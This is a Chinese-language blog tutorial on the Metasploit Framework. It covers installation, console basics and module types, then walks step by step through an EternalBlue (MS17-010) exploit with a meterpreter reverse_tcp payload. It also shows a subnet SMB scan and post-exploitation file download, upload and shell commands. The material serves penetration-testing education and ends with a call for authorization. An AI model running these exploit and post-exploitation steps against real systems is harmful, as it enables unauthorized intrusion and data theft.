Metasploit Framework（MSF）全面使用手册_metasploit使用手册-CSDN博客

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

1.3 在 Windows 上安装

在 Windows 上安装 MSF，可以从官方网站下载安装包，然后按照安装向导进行操作。

二、启动 Metasploit Framework

安装完成后，可以通过以下命令启动 MSF 控制台：

msfconsole

启动后，你将看到一个类似于以下的界面：

                   _
                  / \    /\     |'''.
                 / _ \  /__\    |.''.
                / ___ \/__(__)__|     \
               (_/   \_(_)(__)(_(_\____/
      =[ metasploit v6.4.16-dev                         ]
+ -- --=[ 2254 exploits - 1192 auxiliary - 409 post       ]
+ -- --=[ 953 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

msf6 >

三、基本操作

3.1 查看帮助信息

在 MSF 控制台中，可以使用 help 命令查看帮助信息：

msf6 > help

该命令将列出所有可用的命令及其简要说明。

3.2 搜索模块

MSF 包含了大量的模块，用于不同的渗透测试任务。可以使用 search 命令搜索特定的模块，例如搜索与 smb 相关的模块：

msf6 > search smb

搜索结果将显示所有与 smb 相关的模块，包括漏洞利用模块、辅助模块等。

3.3 使用模块

选择一个模块后，可以使用 use 命令加载该模块，例如加载一个 SMB 漏洞利用模块：

msf6 > use exploit/windows/smb/ms17_010_eternalblue

3.4 查看模块选项

加载模块后，可以使用 show options 命令查看该模块的所有选项：

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

该命令将显示模块的所有必需选项和可选选项，以及它们的当前值。

3.5 设置模块选项

根据需要，可以使用 set 命令设置模块的选项，例如设置目标 IP 地址：

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100

3.6 执行模块

设置好所有必需选项后，可以使用 exploit 或 run 命令执行模块：

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

四、常见模块类型及使用示例

4.1 漏洞利用模块（Exploit）

漏洞利用模块用于利用目标系统的漏洞，获取系统权限。以下是一个利用 MS17 - 010 漏洞（永恒之蓝）的示例：

# 搜索 MS17 - 010 相关的漏洞利用模块
msf6 > search ms17_010

# 使用永恒之蓝漏洞利用模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 查看模块选项
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# 设置目标 IP 地址
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100

# 设置有效负载
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 执行漏洞利用
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

4.2 辅助模块（Auxiliary）

辅助模块用于执行一些辅助任务，如端口扫描、信息收集等。以下是一个使用 SMB 版本扫描辅助模块的示例：

# 搜索 SMB 版本扫描辅助模块
msf6 > search smb_version

# 使用 SMB 版本扫描辅助模块
msf6 > use auxiliary/scanner/smb/smb_version

# 查看模块选项
msf6 auxiliary(scanner/smb/smb_version) > show options

# 设置目标 IP 地址范围
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24

# 执行扫描
msf6 auxiliary(scanner/smb/smb_version) > run

4.3 后渗透模块（Post）

后渗透模块用于在获取目标系统权限后，进行进一步的操作，如信息收集、权限提升等。以下是一个使用 Windows 系统信息收集后渗透模块的示例：

# 假设已经获取了目标系统的 Meterpreter 会话
msf6 > sessions -i 1  # 选择会话 1

meterpreter > run post/windows/gather/enum_system  # 执行系统信息收集模块

五、Meterpreter 会话操作

当成功利用漏洞并获取目标系统的权限后，通常会获得一个 Meterpreter 会话。以下是一些常见的 Meterpreter 会话操作：

5.1 查看文件系统

meterpreter > ls  # 列出当前目录下的文件和文件夹
meterpreter > cd C:\Windows  # 切换到指定目录

5.2 上传和下载文件

meterpreter > upload /path/to/local/file C:\Temp\  # 上传本地文件到目标系统
meterpreter > download C:\Temp\remote_file /path/to/local/destination  # 从目标系统下载文件到本地

5.3 执行命令

meterpreter > shell  # 打开一个系统 shell
C:\Windows> ipconfig  # 在系统 shell 中执行命令

六、总结

Metasploit Framework 是一款功能强大的渗透测试工具，通过本文的介绍，你应该对 MSF 的安装、基本操作、常见模块类型及使用方法有了全面的了解。在使用 MSF 进行渗透测试时，请确保你已经获得了合法的授权，遵守相关法律法规。同时，不断学习和实践，才能更好地掌握 MSF 的使用技巧，提高渗透测试的效率和准确性。